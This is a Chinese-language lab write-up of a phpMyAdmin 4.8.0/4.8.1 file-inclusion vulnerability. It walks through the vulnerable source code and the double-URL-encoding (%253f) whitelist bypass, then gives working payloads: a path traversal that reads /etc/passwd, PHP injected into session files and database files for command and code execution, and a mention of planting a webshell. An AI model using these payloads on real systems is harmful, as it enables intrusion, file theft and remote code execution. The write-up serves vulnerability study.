漏洞原理
攻擊者利用發現在服務器上包含(查看和潛在執行)文件的漏洞。該漏洞來自一部分代碼,其中頁面在phpMyAdmin中被重定向和加載,以及對白名單頁面進行不正確的測試。
攻擊者必須經過身份驗證,但在這些情況下除外:
$ cfg [‘AllowArbitraryServer’] = true:攻擊者可以指定他/她已經控制的任何主機,並在phpMyAdmin上執行任意代碼;
$ cfg [‘ServerDefault’] = 0:這會繞過登錄並在沒有任何身份驗證的情況下運行易受攻擊的代碼。
影響版本
phpMyAdmin-4.8.0/4.8.1
漏洞成因
在phpMyAdmin 4.8.1版本的index.php文件中
$target_blacklist = array (
'import.php', 'export.php'
);
// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target']) //傳入不能爲空
&& is_string($_REQUEST['target']) //必須是一個字符串
&& ! preg_match('/^index/', $_REQUEST['target']) //不能以index開頭
//黑名單判斷。在index.php中已經定義好了target_blacklist的值,只要不等於import.php和export.php這兩個值就可以。
&& ! in_array($_REQUEST['target'], $target_blacklist) //不能在數組target_blacklist中
&& Core::checkPageValidity($_REQUEST['target']) //checkPageValidit檢查後爲真
) {
include $_REQUEST['target'];
exit;
}
關於checkPageValidity()方法實現
//傳入target,whitelist爲默認形參,也就是空的數組。
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
// 白名單
//$whitelist在函數被調用的時候,沒有值引用$goto_whitelist的內容
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
//$page沒有定義或$page不爲字符串時 返回false
return false;
}
if (in_array($page, $whitelist)) { // in_array():搜索數組中是否存在指定的值
//$page存在$whitelist中的value返回true
return true;
}
$_page = mb_substr( //mb_substr():返回字符串的一部分
$page,
0,
mb_strpos($page . '?', '?')
//返回從開始到問號之間的字符串
);
if (in_array($_page, $whitelist)) {
//$_page存在$whitelist中的value返回true
return true;
}
$_page = urldecode($page);//urldecode():解碼已編碼的URL
//經過urldecode函數解碼後的$_page存在$whitelist中的某個值則返回true
$_page = mb_substr(//返回從開始到問號之間的字符串
$_page,
0,
mb_strpos($_page . '?', '?')
//mb_strpos():查找在字符串中第一次出現的位置(大小寫敏感)
);
if (in_array($_page, $whitelist)) {
return true;
}
return false;
}
關於goto_whitelist的代碼
public static $goto_whitelist = array(
'db_datadict.php',
'db_sql.php',
'db_events.php',
'db_export.php',
'db_importdocsql.php',
'db_multi_table_query.php',
'db_structure.php',
'db_import.php',
'db_operations.php',
'db_search.php',
'db_routines.php',
'export.php',
'import.php',
'index.php',
'pdf_pages.php',
'pdf_schema.php',
'server_binlog.php',
'server_collations.php',
'server_databases.php',
'server_engines.php',
'server_export.php',
'server_import.php',
'server_privileges.php',
'server_sql.php',
'server_status.php',
'server_status_advisor.php',
'server_status_monitor.php',
'server_status_queries.php',
'server_status_variables.php',
'server_variables.php',
'sql.php',
'tbl_addfield.php',
'tbl_change.php',
'tbl_create.php',
'tbl_import.php',
'tbl_indexes.php',
'tbl_sql.php',
'tbl_export.php',
'tbl_operations.php',
'tbl_structure.php',
'tbl_relation.php',
'tbl_replace.php',
'tbl_row_action.php',
'tbl_select.php',
'tbl_zoom_select.php',
'transformation_overview.php',
'transformation_wrapper.php',
'user_password.php',
);
回到checkPageValidity()方法中的 $_page = urldecode($page);
及以下部分代碼
如果page在白名單中就會直接return true,但這裏考慮到了可能帶參數的情況。mb_strpos()函數是查找string在另一個string中首次出現的位置。_page變量是獲取page問號前的內容,是考慮到target有參數的情況,只要_page在白名單中就直接return true。但還考慮了url編碼的情況,所以如果這步判斷未成功,下一步又進行url解碼。
二次URL解碼
利用二次編碼“%253f”可以繞過checkPageValidity()的檢查
例如傳入:?target=db_datadict.php%253f
服務器在接收到URL請求連接後就會自動對URL進行一次解碼爲:?target=db_datadict.php%3f在遇到$_page = urldecode($page);
二次解碼後爲:?target=db_datadict.php?
這樣就符合白名單的要求“ ?符號前的文件名在白名單序列中”
由於二次解碼只是在checkPageValidity()中執行的,在index.php中只做過一次解碼:?target=db_datadict.php%3f由此就造成了文件包含漏洞
漏洞復現
注意將?進行兩次URL編碼爲"%253f"
一、任意文件包含
linux下
http://localhost:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
二、包含Session文件
利用phpMyAdmin 4.8.1後臺文件包含漏洞,獲取登錄phpmyadmin系統所產生的sess_sessionID文件,通常linux系統中存放路徑爲/tmp/sess_[當前會話session值]
寫入phpinfo select '<?php phpinfo();?>';
F12找到phpmyadmin頁面session值
訪問/index.php?target=db_sql.php%253f/…/…/…/…/…/…/tmp/sess_[session]
三、任意命令執行
寫入select '<?php echo ‘ls’ ?>';
訪問/index.php?target=db_sql.php%253f/…/…/…/…/…/…/tmp/sess_[session]
四、任意代碼執行
查詢數據庫路徑
show global variables like "%datadir%";
①向數據庫寫入代碼 (如果是root/寫入權限)
create database rce;
use rce;
create table rce(code varchar(100));
insert into rce(code) VALUES("<?php phpinfo(); ?>");
訪問即包含該數據庫文件
?target=db_datadict.php%253f/../../../../../../../../../var/lib/mysql/mysql/rce.MYD
②也可嘗試寫進一句話木馬
參考文章:
https://www.cnblogs.com/wangyuyang1016/p/12014016.html#cve-2018-12613-phpmyadmin481%E8%BF%9C%E7%A8%8B%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0
https://blog.csdn.net/Eastmount/article/details/103925419/
GOT IT!
******************************************************
小實驗小結,具體測試利用方式需根據具體實踐場景~